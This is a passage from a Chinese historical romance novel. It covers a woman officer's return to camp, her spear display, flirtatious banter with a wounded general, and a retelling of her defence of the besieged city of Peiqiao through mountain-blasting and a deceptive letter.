但是以身形和战力而言，继续打下去，茉云定然不占优势，忽然她眼中闪过一丝狡黠的笑意，她巧妙的迅速一转枪身，逼近沧海将，枪尖直指沧海将军的马。
沧海未来得及调转马头，马匹突然受惊，四蹄狂扬无法控制地向后仰去，顿时沧海重心失衡，只得硬生生地从马背上跳了下来。
“好！”整个演武场一片哗然，顿时众人哄堂大笑。
沧海将军虽仓皇跳下，有几分狼狈，却忍不住笑了，无语的望向茉云，毫无恼怒之色的说道：“你这丫头！”
将士们忍不住爆发出一阵欢呼声，威行将军更是忍不住大声调侃道：“沧海啊沧海，你居然也有被一枪打下马一天！”
元帅喜笑颜开地拍了拍手，由衷的喊道：“好！两人都打得好，这才是我卢家军应有的气势，忠勇而机智！”
而站在一旁的周总教头亦笑了说道：“半年不见，枪法精进了不少！”
茉云亦笑了眉目间带着一丝桀骜的自信，挑眉说道：“那是当然，这半年，不敢懈怠！”
要知道离开南营之前，自己身上有伤，却被那边鸿远一枪偷袭而来，跌下马来，她的一生中几时受过此等奇耻大辱。
周总教头笑着指着茉云道：“去，走一遍卢家枪法，给元帅看看。”
“是！”茉云接令之后，转身走向演武场的中央，日上之时，骄阳如火般照耀在南营的演武场上，也炙热地洒在她的身上，仿佛给她的盔甲镀上一层金边。
茉云站定沉默片刻，猛地举起腰间的长枪，动作迅捷如风，又气势如虹，仿佛周遭的一切都在她的枪尖下屈服，令将士们都不由得倒吸一口气。
随着她的行云流水地舞着每一式枪法，众人的目光聚焦在她身上，原本热闹的场面忽然变得寂静无声，只剩下枪势如破竹时的猎猎风声，在空中划出的一道道银芒，气吞山河，霸气无双，让众人观之便为之振奋，心潮澎湃。
元帅都站得笔直，目光深邃而专注，可握紧双拳的手，亦能映照出他内心的激动，他的父帅在天之灵见到有人能把卢家抢使得这般炉火纯青，气势磅礴，当何其欣慰。
而此刻，正啸亦走出了营帐，站在营前，衣袍随风轻轻飘扬，目光却紧紧被锁住。所有军营中的喧嚣对他而言好似瞬间虚无，他的世界，只剩下那一道熟悉的身影……
她手持长枪英姿飒爽，将自己所教的枪法练得娴熟而磅礴，仿佛天地间所有的阻碍都无法抵挡她的锐利。而他的心也随之澎湃，心在跳动的声音变得如此清晰，因为他已实在按捺不住的心的剧烈跳动。
无数次日夜的牵挂，她终于回来了，站在自己面前。
若辰轻轻走到正啸身边，他竟然毫无察觉，若辰望向正啸的目光，微微一笑，低声说道：“此乃入目无别人，四下皆是她啊！”
正啸听到这话，才微微一愣，却没有收回望向茉云的目光。
若辰并没有再说什么，只是望向茉云
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，脸上全是温润和赞许笑容。
就在此时，茉云的心忽然在悸动，她抬目望去，在人群中终于寻觅到了期待的身影，她舞枪的目光是如此冷峻而深邃，但就在这一瞬间，眼神闪过一抹温柔的意味，因为是心跳比眼神先找到他！她见他站在那里，身影依旧如此威武，双眸仍然坚定而沉稳，那是她最熟悉的存在……
他们的目光在空中交汇，似乎在这一刻，所有的言语都显得多余，只能感受自己的心跳如鼓！
烈阳下，演武场上的炙热随着茉云枪法一招收势瞬间达到顶峰。她长枪轻舞，气势陡然收敛，枪身回旋间如翔龙归海，划出一道完美的弧线，干脆利落地在空中一抖，枪尖稳稳地垂下，整个动作潇洒自如，带着一股不容忽视的威势与优雅。
全场顿时爆发出热烈的叫好声与欢呼声，众人都被她这一套精彩绝伦的枪法震撼，元帅此时和周总教头相视一眼，对最后这一招威风的收势更是忍俊不禁。
元帅忍不住开怀大笑，指着茉云说道：“你这枪法，果然是跟啸儿学的啊！”
这话一出，场内的气氛变得更加热闹，众人纷纷回头看来，略显疑惑地看向元帅。
元帅捋了捋胡子，大笑着说：“当年老卢帅，也就是啸儿爷爷就说过，卢家枪法哪有这一招，可啸儿幼时偏说，收枪就该如此才算完美。老卢帅都拿他没法，只得说随他，这就是纯粹耍帅的招式。茉云这丫头倒是也练得炉火纯青啊。”
周围的将士顿时哄堂大笑，威行将军忍不住调侃：“怪不得！我们跟周总教头学的枪法，都没这一招。茉云倒是学了独门绝技啊！”
站在营前的正啸定然亦是见到了，嘴角也浮现出一抹笑容，自己都没有在意到，幼时自己也是意气风发，挥枪自创这一招收枪之势，却从未想过，有一天，会有另一个人将这一招亦挥舞得如此从容而气魄。
元帅亦看见了正啸嘴角的笑容，忍不住大笑道：“你看见没，他这一招，耍得比你当年还气势如虹！”
正啸淡淡看了一眼元帅，再看向茉云，眼中带着几分罕见的温柔。
周总教头则笑着评价道：“这世上还有几人，比他方茉云更能耍帅。她那气势啊……幼时拿个扫帚，都像张飞拿着丈八矛！”
这话一出，元帅畅然而笑，惹得周围的将士们再次哄堂大笑。
烈阳高悬，热浪翻涌，演武场上的喧闹声此起彼伏，茉云她昂首阔步地朝众人走去，长枪已然背在身后，铠甲在阳光下闪烁着冷冽的光芒。她目光直直地看向站在营前的正啸。
顷刻间，周遭的氛围变得有些微妙，好似逐渐安静下来，似乎众人都能觉察到异样，当茉云走到正啸面前，停下了脚步，挑眉径直望向他，带着桀骜和一丝不易察觉的柔和。
正啸亦面色平静，但他的目光却好似被她锁住，这一瞬间，两人的目光在空中交汇，四目相触的那一刹那，无数未曾言说的情绪在无声地涌动。
那是战场经历生死的确幸，是分别时千言万语的未尽，是无数个漫长夜晚的压抑与克制，牵挂与期待。人终于站在了彼此的身前，一伸手便能触及的地方……
如鸟归林，如船靠岸。人间相逢，久别最浓。
225.仅有
四目相对的瞬间，茉云那张平日英气逼人的脸庞，此刻却添了几分柔和的俏丽，她轻轻挑眉，嘴角闪过一丝狡黠的笑意，一脸疼惜的神情说：“呀，是谁把大将军伤成这样？”
连元帅都有几分诧异望向茉云，她又怎是这种心思细腻嘘寒问暖之人，而且她语气如此夸张……
“这天杀的峑戎！可怜我们的大将军！”茉云那抹笑容则更为明显，嘴角微微勾起，带着点挑衅的俏皮和调侃，“幸亏老天有眼，让美来救英雄，成就一段佳话啊！”
顿时，原本安静的演武场瞬间又炸开了锅，众人忍不住哄堂大笑。
正啸无语的转身准备回营帐，茉云快步跟在他身旁，脸上带着调侃的笑容，声音清脆地说：“末将以前只道是将军总是说大话空话，唯今知道将军的大仁大义。”
正啸无语的看向茉云双眸，她这话说得显然话里有话，周围将士更是目光跟了过去，本都以为茉云是说正啸在吉山危急时，还用自己牵制敌军，为裴桥争取备战之机的英勇壮举。
然而，茉云话锋一转，嘴角的笑意更深的说道：“那公主漂亮成那样。人不顾一切的来美救英雄，您居然也没抛下我等跟人私奔，这戏本子都写不出您为国为民的大义啊，感人肺腑，是末将浅薄了。”
这话一出，演武场瞬间又炸开了锅，所有将军顿时都乐了，平日里谁敢如此跟正啸说笑，元帅笑得直不起腰来。
正啸连头都没回，眼中闪过一思无语的径直走回营帐，显然是懒得再与她废话。但是眼神分明还是如此柔和……
茉云却笑意畅然的跟上去，拨开营帐门帘随他走了进去，万莫亦傻笑着要跟上去，被千山一把拦住，示意他就站在营门外等着。
茉云带着轻快的步伐跟着正啸，脸上依旧挂着一抹俏皮的笑容，随口说道：“卢正啸，大难不死，必有后福！。”
她的话音未落，正啸忽然停下脚步，猛然转身间伸出手，一把握住了她的手臂一拉。茉云一时没有反应过来，身形微微一晃，身子竟直直地向前倾去。猝不及防的瞬间，她差点扑进正啸的怀里，幸亏她及时伸出手，抵在了正啸的胸膛，勉强稳住了身形。
然而，就在她掌心触及大将军宽阔的胸前时，她愣住了，手下触感分明能感觉到，布衣之下包裹着好几层纱布，她的心猛地一紧。她瞬间意识到，他的伤比她想象中还要严重，伤口到现在都没能愈合。
那一刹那，她原本调侃的笑意瞬间收敛，取而代之的是一丝难以掩饰的心疼。
可她又顷刻间发觉，自己与他这般超乎寻常的亲近，她抬起头，想要开口说什么，却发现他的呼吸好似就在自己唇边，那份沉稳而温暖的气场已将自己包围。
正啸望向她，手依旧稳稳地握着她的手腕，探向她的脉搏，目光专注而温柔，片刻后他缓缓开口，语气仍然低沉却带着一丝难得的温和：“伤好了？”
茉云愣了一瞬，瞬间感觉到他的手指下，自己的脉搏从平稳又突然加快，帐中的气氛似乎停滞了，时间被无限拉长，茉云自己都无法解释此刻的感受，心跳如鼓，可这心跳声这么纷乱……是只是自己的吗？
然而，就在此时帐外传来了元帅的声音，她才很快反应过来，迅速抽回了自己的手，退后一步收回了目光。
正啸望着她手掌中的一道道还未痊愈的伤痕，眼中那份深沉的温柔又流淌出一丝疼惜，不用想都知道她这次裴桥守城之战亦是九死一生，不比自己轻松多少，可他却没有再多说什么。
茉云则转头望向营门，两人像是都极力掩盖刚刚那一瞬的悸动。可空气中弥漫着微妙的沉默，却充满了难以言说的情绪……
元帅抬手掀开了营帐门，步履沉稳地走了进来。他的身影刚刚出现，营帐内的气氛便瞬间发生了变化。执礼和若辰跟着进来，互相对视了一眼，随即低下头强忍着笑意，显然他们也感受到什么。
元帅身后紧跟着一行人，其中包括魏副帅营中诸将还有与茉云一同回营的陆润吉和老马等人。他们一进帐，脸上也露出几分掩饰不住的轻松与愉悦，每个人的神色依然带着茉云回营的激动与兴奋。
“快说说！”元帅一边走向营帐中央，一边爽朗地说，声音里透着难得的轻快，“润吉，将裴关守城之战的始末详细说与本帅听。本帅这就准备上奏圣上，要为裴桥的守城将士请旨论功行赏！”
元帅眼中瞬间透着几分长者的慈爱，执礼却偷偷笑了，元帅压根都没有直接问此战的主将茉云，连元帅都知道茉云干的事不论是伟岸还是猥琐，但是说话定是天上一句地下一句，没个正经。
陆润吉立刻站直了身子，拱手上前，朗声说道：“元帅，此战虽艰难，但全城上下同心协力，终将峑戎大军逼退。方将军运筹帷幄，将士们以血肉之躯守护城池，百姓也一同参与，裴桥在困境中得以保全。”
“诶！你这小子，出去守了半年城，怎得都是这些官话，套话，将实情详情都立马说来禀报给元帅听！”魏副帅看向润吉虽是责骂，但眼中也带着欣慰。
润吉素来就是个直肠子，他听老领导魏副帅这么一说，抬头便说：“那日夜里方将军来了，她一进城便问我边参军为何不在城里，然后她和老马与我一讨论，我才知道边参军被骗了，而裴桥有可能会有大祸！”
众人顷刻间屏住呼吸听着润吉细说，都是军中之人，谁都知道当日裴桥守军走了七成，茉云带着百余人支援裴桥纯属杯水车薪，眼前可是数万峑戎铁骑啊。
“军中本是一片慌乱，但是方将军异常镇定，所以我等也冷静了下来，方将军去见了刺史，说发动全城所有青壮之力，共同抗城！”
元帅摸着胡须，顿时赞许的微微顿首，此时唯一之法便是自救。
“然后我跟方将军说，若最后不成，我炸了裴桥关和敌人同归于尽，城里有上次罗虎将军运来的火药，方将军可开心啦！”润吉想着回忆道。
顿时茉云正接过万莫递过来的果子，边咬着边像鸡啄米一样的点头说道：“对，元帅，末将最喜火药了！”
“扑哧”众人顿时忍俊不禁，她属实喜欢火药，不知炸了峑戎多少回了，元帅亦笑得不行，亦抬手示意让润吉继续说。
“后来方将军说，关是好不容易修的，炸了敌人就随意可入，不是好计，我们得炸山，让人压根到不了关前！末将浅薄，当时给吓住了，我只听说过愚公移山，从未听说什么炸山！”润吉想着至今还有些疑惑，但是眼中充满敬畏说道，“我问老马这是方将军这是何种兵法，老马说，什么兵法不兵法，方将军炸什么都跟炸跟根条似的，轻描淡写！”
众人顿时哄堂大笑，茉云无语的咬着果子看向老马，老马亦笑了深深叹了口气。
“夜里方将军带我们背着火药夜攀裴山，准备炸山，确实艰辛，峑戎大军夜以继日赶来，方将军待时机一到，下令炸山之时，炸药滚下巨石，她命令我带队撤退然后跳下密林，山崩地裂我们一路艰难撤到了后山底下，方将军不见了，我以为方将军都阵亡了，末将都哭了，回到了裴桥，老马急坏了要去找将军！”润吉说到这都双眉皱起，回忆起了当日自己的崩溃。
众人不禁倒吸一口气望向润吉，茉云则一脸的无语，何必说这些有的没的，而正啸微微在案下握紧了拳头。
“谁晓得方将军回来了，她怀里抱着野梨，她说爆炸时去捡野梨了，炸了可惜，怪浪费的！”润吉无语的说道。
众人无语的抬目看向茉云，若辰则被逗笑了，这就是只有茉云才能干出的事情。
“诶，不用说的这般细节！”茉云停下来无语看向润吉说道，“若是我英明神武之时，你要夸张也就算了，这等好吃馋嘴之事，能省略则省略，人都知道我什么德性！”
“哦！”润吉挠挠头笑着说道，众人亦不禁无语的摇摇头乐了，润吉继续说道“山炸了，阻挡了他们行进，我们本以为他们会绕道，可是没两天峑戎大军不但不绕道，居然也继续冒着巨大风险，又把山道炸了穿过而来！他们真是疯了！”
茉云咬着果子的瞬间亦顿了一下，正啸微微蹙眉，一般大军行进主帅不会如此
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癫狂，执礼亦深吸一口气，幽戎如此疯狂大抵是因为茉云在裴桥。
“这一炸，城中人心惶惶，幸亏方将军在翌日晨曦之时，对全城召开了誓师大会，她以自己的亲身经历，慷慨激昂的鼓舞众人站起来护卫自己家园，顿时城中无一人怯懦，就是老幼妇孺都纷纷表示，定要誓死捍卫裴桥！”
元帅和魏副帅等人都不禁赞许的点点头，众志成城才是此次裴桥得胜关键。
陆润吉副参将继续讲述着这场艰难的裴桥守城之战。声音时而低沉，时而高昂，带着几分苍凉和几分骄傲，虽说得直白，但都是军中人，任谁都能感受到，峑戎外敌压境时的紧张氛围和战事艰辛。
元帅和诸将围坐一圈，神情凝重，有人不禁屏住呼吸，有人眉头紧锁。可当陆润吉说到守城大战两天一夜士气低迷，战局危急之时，敌方来关下叫阵，挑衅裴桥关大将一战，而茉云忽然下令打开城门，竟一马当先冲了出去，迎战对方赫赫有名的黑河大将时，营帐里所有人的表情顷刻有些微妙。
“那峑戎的黑河大将武艺非凡，勇猛无比，可谁知……”陆润吉故意顿了一顿，语气中满是敬佩，“方将军竟在几十回合后，猛然一枪挑下了他战马！咱们的裴桥顿时气势如虹，敌军气势一落千丈！”
此话一出，厅中竟静默了半刻。茉云咬着果子也停了半刻，偷偷瞄了一眼正啸，见到正啸眼神中迸射出怒火，心里咯噔了一下，她马上移开了目光，望向一旁若无其事地继续啃果子，仿佛这故事里的人与她毫无关系。
若辰瞧见便乐了，旁人或许不懂，唯有正啸了解她得很，故而他的目光瞬间喷出灼灼怒火，他知道茉云哪里是什么英勇异常，为军心而战，她分明就是一时起意，莫名其妙此时开城门出去找人练练身手就跑！
吉润副参将继续讲述，神情愈加严肃：“谁知不久就传来峑戎号角声，幽戎亲自带军来了，那一刻，原本士气已低落的峑戎军，瞬间士气高涨，如被点燃了一般。”
众人顷刻都屏住了呼吸，眼中不禁闪过一丝凝重。幽戎亲自带领着无数铁骑扑向裴桥，那气势可想而知，现在想来裴桥就算守军都在，亦挡不住幽戎的，何况当时七成守军不在，裴桥岂非九死一生？他们是怎么办到的？
润吉继续直率的讲述着，翌日幽戎如何帅大军攻城，两军将士摩拳擦掌，准备血战到底，他也详细的讲述了，茉云与峑戎的集益将军在阵前对骂，茉云竟把敌将激怒得脸都煞白的过程。
茉云无奈地捂着脸看向润吉瞬间说道：“陆润吉，我没发现你记性这么好，你怎得成了武将，怎么没去考个功名，真是可惜了这脑子。”
话音一落，整个营帐顿时传来一阵哄堂大笑。
崔老将军笑得前俯后仰，眼角的皱纹都舒展开了：“元帅，老魏啊，当年卢家军从不曾接应敌军骂战，别人都说卢家军刚烈，只真刀真枪的干，可老卢帅曾拍着桌子骂，刚烈？刚什么烈？我帐下之人只会打架，骂战？谁能去啊？看，现在咱有这人才了！”
元帅闻言亦是笑得不行的直点头，顿时营帐中沉重的氛围渐渐轻松了几分。
独独正啸却一言未发，他坐在那里，背影如山，手指慢慢收紧握成了拳，骨节微微发白，隐隐有力道渗透出来。双眸如深渊般涌动着滔天的怒火。
他知道，幽戎在阵前的那番言辞，绝不是简单的挑衅，他不是为了扰乱军心和所谓的战术试探，幽戎的野心不仅在城池，更在于她！
此时正啸目光中迸射出的怒火，并不是普通的愤怒，而是雄性最原始的怒火，炽烈而难以平息。
茉云装作专注啃着果子，但她亦感受到了那道灼热，她微微一顿，并未直视正啸的眼睛，只是用余光偷偷地扫了一眼，却在这一瞬间捕捉到了那满是怒火的深邃眼眸。
那霸道和占有的怒火仿佛要吞噬一切，强烈得让人无法靠近，但茉云心却微微悸动，她不知为何自己隐隐觉得愉悦，回想自己满身棱角，桀骜而狠戾的半生，幼时便曾豪言，任谁敢在自己面前霸道，原来有，有且仅有你……
226.唯容
营帐中，润吉继续讲述着裴桥守城之战，声音渐渐低沉，仿佛每一个字都透着凝重。因为他说到了守军苦苦支撑，已经到了无以复加的地步。
元帅沉默不语双眉紧锁，将军们手上的拳头紧紧握起。军中人心里很清楚，裴桥当时面对的可是百倍于己的敌军，那就是一场不可能取胜的死战。
润吉顿了顿，声音更低了一些：“就在这危如累卵之时，幽戎下令，亲自带军攻城。”
这句话如同一块巨石落在水面，搅动了营帐中原本稍显轻松的气氛。众人的呼吸都微微一滞，仿佛连空气都变得稀薄起来，那便是裴桥九死一生的时刻，它顷刻有可能就保不住了。
就在众人屏息听着之时，润吉话锋一转说道：“可就在幽戎带领大军准备冲锋之时……一个峑戎传令兵，一骑绝尘，从远方疾驰而来。”
这一刻，营帐中再没有一丝声响，连火光似乎都静止了。
润吉继续说道：“幽戎当时收到了什么消息，他迟疑了一阵，最终，他竟下令撤军。”
“为何撤军？”所有将领忍不住低声重复，语气中满是疑惑。
“对，敌军顷刻仓皇而退，而城中的守军，这才迎来喘息。裴桥得保，士卒们无不热泪盈眶，欢呼声直冲云霄。”润吉点了点头，敬佩的说道，“后来我们才知，真正让幽戎撤军的原因，是因为鹿里将军带兵救援，在半道上截击了峑戎二皇子，将他团团围困。幽戎不得以撤兵去救，裴桥这才得以幸免于难。”
帐中顿时响起一片低低的感叹声，魏副帅深深吸了一口气，抬头看向元帅，声音中带着几分感慨：“天佑我裴桥啊。”
元帅长叹一口气，听到这句话众将纷纷点头，脸上浮现出一种劫后余生的感觉，紧绷的神经终于松了下来。
执礼依旧眼中深藏疑虑的看向润吉：“那峑戎的二皇子，为何此时会从峑戎边关来南境边关外，被鹿里将军围困？”
润吉愣了一下看向执礼，他并不知道，亦从未想过这个问题。
“行了，威行你和诸位参将按今日周总教头的布置之任务，继续练兵！”正啸不容分说的下令道，“周总教头和沧海将军留一下，正好元帅和魏副帅、崔老将军都在此，我等重新商议一下裴桥布放之事！”
“是！”众人马上领命，威行带着诸位参将继续去练兵了。
执礼则望向了茉云，他心中一直是疑虑着刚才讨论的峑戎二皇子之事。
茉云亦看见了执礼那充满疑虑的眼神，神情淡然的丢开果核说道：“裴桥大战前夕，裴关曾飞鸽传书往南境诸关，结果去往南边东边各城求救的信都被峑戎的射手截住，我索性就往西放出了一个信鸽，带着一封写给峑戎的长公主，也就是幽戎之妻的信！”
她的声音如水滴入深潭，平静却带起阵阵涟漪。让众人不由得目光齐齐投向她，皆能感受到顷刻间的冷凌。
“信中，我恭贺长公主诞下麟儿，据说那麟儿降临之时，天降奇观，百兽绕行，我与幽戎两各为其主，实属无奈，若此战我与幽戎同归于尽，此麟儿定能护他一生。”
执礼愣住了，他不由得看向茉云，他瞬间明白这出人意料的举动后的居心。
“此信，我用了当年暗营紧急军报的报信打结方式。信必然先入峑戎朝堂，再到长公主手中。”茉云目光倏然锐利起来，如同寒刃出鞘，“峑戎的大王若读了此信，他定会揣度，幽戎能否拿下裴桥，如若不能，他绝不会愿意幽戎死于裴桥，因为峑戎的大军需要他。但若能，他同样不会乐意大战首捷，如此天功落入幽戎之手。
帐中众人眼神微怔，像魏副帅等人显然没有料到她竟会有如此深思的城府……
“峑戎的大王，素来重视血脉，那信中的‘天降奇观，百兽绕行’，是戈壁上的传说，代表此人将是戈壁出现的领袖。峑戎大王定会忌惮，毕竟他希望自己的儿子继承王位，而不是外姓女婿幽戎沾了这份光。所以，大王他既不会让幽戎死，亦不能成全他！”
帐中一片沉寂，执礼怔了片刻，眼神中渐渐浮现出一种难以言说的复杂情绪。茉云亦深吸一口气，她明白为何此刻帐中众人的沉默，卢家军走的一直都是正大光面之道，最恨峑戎的暗营之人挑拨朝堂之中君臣关系等阴谋算计。
执礼意图化解尴尬道：“原来如此……竟是用这信，化解了裴桥之危！”
茉云不置可否，眼中的风轻云淡，好似不过是闲聊般漫不经心。然而，她那眼底的深沉，却让每一个在场的人都看得清楚——她可玩弄人心于掌中的阴冷。
营帐中一片沉默，魏副帅忽然深深吸了一口气，转头看向元帅，沉声说道：“若老卢帅在世，定然没有想到，我卢家军今日竟也要靠诡计取胜了！”
此话一出，营帐内的气氛微微一凝。崔老将军眉头一皱，满脸无语地看向魏副帅，老魏这张直肠子的嘴！哪怕他是无心之言，可这话听在耳中，怎会无意。
若辰本在低头思索，听到这话不由得一愣，下意识地转头看向茉云。他的目光看见……茉云眼中顷刻闪过一丝凌厉的冷光，带着疏离，透出让人令人不敢轻易靠近的锋芒。
茉云嘴角微微扬起，好似轻蔑又带着自嘲的似笑非笑，仿佛在回应这一刻的沉默，感受自己的格格不入。这也是自己为何从来不和他们说自己要干什么！
是的，自己不像卢家军中人，不是光明磊落的战士。她的世界中，自小便是阴谋、诡计，抗争与不服都撰写在血液……
然而，她并不觉得自己需要解释，也不需要认同，恶就恶！
魏副帅望向茉云，语气里带着几分长辈的训诫：“打仗终究靠的是真刀真枪的干，不是阴谋诡计。你这孩子啊，要反省，不然会误入歧途。”
话音未落，茉云那双冷冽的眸子瞬间燃起了的怒火，带着忿然和倔强，他凭什么训诫我！
就在这时，一道沉稳而有力的声音截断了魏副帅的话：“峑戎大军百倍于我军，魏副帅倒是也可以教教我，如何真刀真枪地干，能以一敌百？”
众人诧异的望去，是正啸的声音，平淡却透着一股令人无法忽视的冷峻。魏副帅愣了一下，转头看向正啸，似乎没料到这话会从他口中说出。帐中顿时一片寂静……
元帅眉头微皱，语气里带着一丝无语：“怎么跟你魏叔说话的？”
正啸却没有丝毫退让，神色严峻而坚定，语气中没有一丝妥协：“父帅，非常时期，用尽一切办法能护住一城百姓的性命，便是最大的仁慈，这与误入歧途又有何干？”
若辰和执礼交换了一个眼神，脸上闪过一丝诧异之后的笑意。众人皆知，正啸素来对军中的长辈礼敬有加，从不顶撞或忤逆叔伯辈的老将军。而此刻，他竟如此不顾情面地据理力争，属实是因为——他骨子里独独对茉云有藏不住的偏袒和包容，不满亦不允别人训斥于她。
茉云愣了半刻，燃烧着的怒火渐渐也熄了火，她转头望向正啸，他的身影挺拔如山，眉宇间带着微怒而坚定的气势。
她看着他，没有说话，她亦知道他是在护着自己。
可此时营帐内的气氛突然变得更加微妙了，原本的沉
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默和尴尬在正啸的反驳中达到了顶点。众人都屏息不语，连周总教头和崔老将军都不知道该说什么。
茉云挑了挑眉，嘴角带着一丝俏皮的笑意：“大将军此言差矣，魏副帅说得对，且副帅在军中带出如此多精兵良将！”
话音刚落，帐内的众人愣了一下，目光纷纷投向了茉云。连周总教头也不禁抬眉，显然有些惊讶，毕竟，这话显然不像锋利的方茉云能说出之话。
“你看，边鸿远参将就属实优秀。我在裴桥便反省了，我等皆要向他看齐！”茉云没有停顿，继续笑着说道，“峑戎大军来了，他跑去找自己姐夫了。哎……我当时在城中就想，大将军这群妻弟啊，一个比一个能耐，贩卖私盐，诱拐妇女，敌人来了，他不自己跑，他丢下一个城，带着全城的兵跑了……我等差距很大啊，主要在于我咋没有一个姐姐嫁给大将军呢？”
顿时众人隐忍不住哄堂大笑，正啸顷刻间无语的望向茉云。
元帅笑着旋即拉着魏副帅说道：“老魏啊，你随我去营中喝茶，让他们先议，跟他们这群年轻人，特别是方茉云废话，迟早绕晕你！”
魏副帅亦无语的跟着元帅走了，若辰笑着望向茉云，她总是能巧妙地化解了气氛中的紧张和尴尬。
茉云则娇俏的笑了，看向正啸：“看见没有，吵架你也要正中人靶心啊。”
她的话语中带着轻快，像瞬间打破沉闷的风，正啸望向她的眼中透出一丝无奈。
而周总教头则忍不住开口：“方茉云，魏副帅只是说话直，你此次属实立了大功，但也确有侥幸的成分。副帅的意思是，带兵打仗终究不能次次靠运气，也不能只靠勇敢无畏、不怕死就能打赢。”
茉云还是一脸的桀骜不驯正要反驳，正啸此时转头看向茉云，语气平静，却带着一种一眼看穿的意味：“大军压境，慌张否？”
茉云原本带着冷凌的眼神顿时消失了，目光倏然望向正啸，好似嘟囔着抱怨：“当真够呛。”
话音未落，她突然从身旁掏出一本略显破旧的兵书，直接朝正啸砸去。
“这兵书我压根就不懂！你这批注——你就写了两句，守城要领，其一稳定军心，其二，集结一切可战之力……然后呢？你怎么不写完呢？”
正啸愣了半刻，低头看向书中自己的批注。他的神色微微一变，竟嘴角微微上扬，露出了一抹浅浅的笑意，他没有回答。
茉云皱着眉头看他，满脸不解的逼问：“你倒是说话啊！”
然而，正啸心里当然清楚自己为什么没写完。当日写批注时，自己靠茉云靠得太近，当他感受到茉云的气息近在咫尺，他一瞬间心跳加速，血脉贲张。他顷刻意识到自己已然隐忍不住，怕自己干出什么越矩之事，他便马上放下笔，速速离开了她的营帐。可这，他要如何说？
周总教头闻言眉头一皱，脸上严肃的神情透出几分责备：“方茉云！你一个小小的校尉，怎这般同大将军说话的？”
茉云闻言不耐烦地白了他一眼，眼中透着几分理直气壮：“我素来就是这样说话的。”
正啸不疾不徐地抬起手，手肘撑在案几上，掌心微微托着脸侧，神色温和，从容而深沉望向茉云。他的目光中没有半分责怪，只有那股惯有的冷静，在不易察觉处还透着一丝纵容。
自小就严厉的正啸，就是幼时便跟着自己的千山万莫，都不敢轻易造次，但面对眼前这位……她第一次见他之时，便是指着鼻子威胁于他，但他竟莫名也忍了。
也不知为何，他见众生皆严毅，唯见她能柔……
227.徇私
正啸微微抬起眼望向茉云，眼里全是温和，但语气还是带着不容拒绝的威严：“正好你回营，我在养伤，这些日子你就在我这里，粗略的将兵法好好研习一二。不然，日后南境的山都不够你炸的。”
若辰看向正啸乐了。一向严肃的他此话居然带着调侃。茉云翻了好大个白眼，一脸没好气地看向正啸，可是不论神情有多不服气，但她也没有拒绝。
可当她目光不由自主地落在正啸身上，心中便生出一种微妙的情绪。她不能骗自己，她心底的焦躁竟瞬间烟消云散，取而代之的是一种难以言说的安心。看见他安然无恙地坐在自己身旁，而自己亦在他的身旁，此刻心情竟是如此欢愉，心都不由得柔软下来。
帐中的众人互相交换了一眼，就连沧海这样的粗人，显然看出了两人之间那股微妙的氛围，他有些局促不知开口说话是否合适，且谁也没有开口打破……
正啸亦意识到帐中还有他人，眼神一敛，将方才那一抹柔和深藏，恢复了以往的冷峻与沉稳：“正好，重新商议一下裴桥布防。”
众将闻言，纷纷严肃的望向他，帐中的气氛重新变得冷峻起来。
沧海语气中带着几分凝重，抱拳开口道：“末将以为，裴桥至关重要，地势险峻却易攻难守。而且此地位于南境西角，孤悬一隅，补给不便，战时压力极大，守军的处境格外艰难。”
若辰点了点头，接过话来，神色间透着些许沉痛：“此次大战，裴桥元气大伤。为了保住城池，山林和良田毁了半数，如今眼看着过冬了，城中的百姓只能依靠朝廷的救济过活。明年的日子，只怕更加艰难。”
帐中沉默了片刻，正啸缓缓点了一下头，神情虽未有太多变化，但眉宇微蹙。
茉云此时并未开口，她以往是管刑名的官员，自认再艰险诡诈的案子都从未难倒过自己，而自己如今坐在那里，只能深深吸了一口气，看着地图上裴桥区域，脑海中浮现出战后裴桥残破的景象，以及那些家园满目疮痍，满怀期盼仰望朝廷的百姓。
她此时才深刻的了解，这就是战争，万恶且残酷。它毁灭的不只是南境的疆土和将士的生命，更多是无数人的生活。
“当日让边鸿远守裴桥，是我之过，他心浮气躁又立功心切，实在不适宜担当此！”正啸皱眉坦诚的说道。
“大将军，这也不是你之过，当日军中两军相容诸多争端，元帅提出此议，你也不好反驳，终究魏副帅的……”周总教头吸了口气说道，想着他又没好气的望向茉云道，“你也是！你可曾意识到，此事也算是因你而起！重伤在身，没信心打赢，你跟人比什么枪法。”
茉云顿时抬目望向周总教头：“那你可曾意识到，现在军中卢正啸重伤在身，那您有信心打赢我吗？”
“你！”周总教头顿时愤然望向正啸，指着茉云气急败坏的说道，“自古红颜祸水！”
“扑哧”顿时营帐中哄堂大笑，方茉云自己都笑得前俯后仰。
沧海说笑之后，便沉稳的地望向正啸，问道：“大将军，如今之际，重点是谁来驻守裴桥？是否让鹿里就驻守在裴桥？”
他的语气中透着担忧，毕竟裴桥对于南境的防守至关重要，驻守裴桥的将领不仅要有真本事可胜任，更重要的是绝对忠诚可靠，裴桥的战略地位无可替代。
周总教头听后，沉默片刻，缓缓开口：“大将军，鹿里在营中带着骑射营，骑射乃对战峑戎的重中之中，绝不可营中无首。更何况，鹿里也并非擅长守城之将。”
周总教头的话语中透着谨慎，显然他亦说得有理，沧海也思虑了一刻点点头，鹿里确实也并不是擅长于守城。
接着，周总教头继续说道：“不知那边鸿远参将……是否能从过去的失误中吸取教训，吃一堑长一智。”
话音未落，帐内的气氛突然变得微妙起来，茉云咬着果子的手指猛地一停，眼神冷冷且直勾勾地望向了周总教头。
茉云心中清楚，这些军中人情义深厚，边鸿远是故人义子，无论犯下何等大错，众人总会想给他一个机会，可这种机会对于其他人来说，何其不公！
执礼亦觉得不妥，而且他注意到了茉云冷厉的神情，马上语气坚定的说：“周总教头，那是决计无法考虑的，危难之际，边鸿远被蒙蔽，被敌军一封没有军印的书信骗走，虽不是故意，却累裴桥险些失守，已失了军心，且裴桥城中的百姓，也很难接受这样的将领。”
“对，而且现在裴桥满目疮痍，百废俱兴，还要有劳新任的驻守将军和裴桥刺史一道重建城关，边参军恐难再回裴桥！”若辰亦接过话，叹了口气说道。
正啸眼中闪过一丝危难，裴桥之重，只能派遣完全可信赖之人，可身边可仰仗信任之人，在军中各有重任，不可随意调动，年迈的老将军也不适宜再调往裴桥，毕竟年迈精力不济，守城建城都不及年轻将领。
茉云看见了正啸脸上的愁云，亦知道他显然在为调谁去守裴桥而无法决断，裴桥之地如此重要，而眼下他是属实没有能信任之人。
她深吸了一口气看着他，心中权衡片刻后，终于开口道：“不如我去。”
